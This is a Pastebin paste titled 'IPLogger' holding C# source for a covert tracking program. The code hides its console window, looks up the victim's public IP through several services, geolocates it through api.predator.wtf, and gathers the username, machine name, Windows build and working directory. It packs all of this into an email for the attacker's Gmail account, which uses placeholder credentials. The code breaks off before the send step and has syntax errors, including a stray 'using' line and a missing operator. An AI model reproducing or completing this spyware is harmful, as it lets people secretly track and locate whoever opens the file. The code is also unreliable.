Advertisement
Guest User

IPLogger

a guest
Mar 22nd, 2016
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.06 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Net;
  5. using System.Net.Mail;
  6. using System.Runtime.InteropServices;
  7. using System.Text;
  8.  
  9. namespace savedat
  10. {
  11. class Program
  12. {
  13. [DllImport("user32.dll")]
  14. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  15.  
  16. [DllImport("Kernel32")]
  17. private static extern IntPtr GetConsoleWindow();
  18.  
  19. const int SW_HIDE = 0;
  20. const int SW_SHOW = 5;
  21.  
  22. static void Main(string[] args)
  23. {
  24. IntPtr hwnd;
  25. hwnd = GetConsoleWindow();
  26. ShowWindow(hwnd, SW_HIDE);
  27. string externalip = new WebClient().DownloadString("http://icanhazip.com");
  28. externalip = new System.Net.WebClient().DownloadString("http://bot.whatismyipaddress.com");
  29. externalip = new System.Net.WebClient().DownloadString("http://ipinfo.io/ip");
  30. string lol = externalip.ToUpper();
  31. string geoip = new WebClient().DownloadString("http://api.predator.wtf/geoip/?arguments=" + externalip);
  32. string betterip = "http://api.predator.wtf/geoip/?arguments=" + externalip;
  33. string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass; string savedat;
  34.  
  35. gmailUser = "EXAMBLE@GMAIL.COM"; //put your gmail email.
  36. gmailPass = "YOURPASSWORDOFGMAILHERE"; //Put your gmail pass
  37. toEmail = gmailUser;
  38. fromEmail = gmailUser;
  39. string userName = Environment.UserName;
  40. string computerName = System.Environment.MachineName.ToString();
  41. using System;
  42. subject = "New IP Log" ;
  43.  
  44. body = "This guy: " + Environment.UserName + ". Opened it.\n" + "Some info:\n" + geoip + "\n" + "\n" + "Or check his Info in better format here: " + betterip + "\n" + "Username: " + Environment.MachineName +"\n" + "Windows Build: " + Environment.OSVersion+ "\n" + "Ip Address: " + externalip + "Location Opened in: "+ Environment.CurrentDirectory "";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement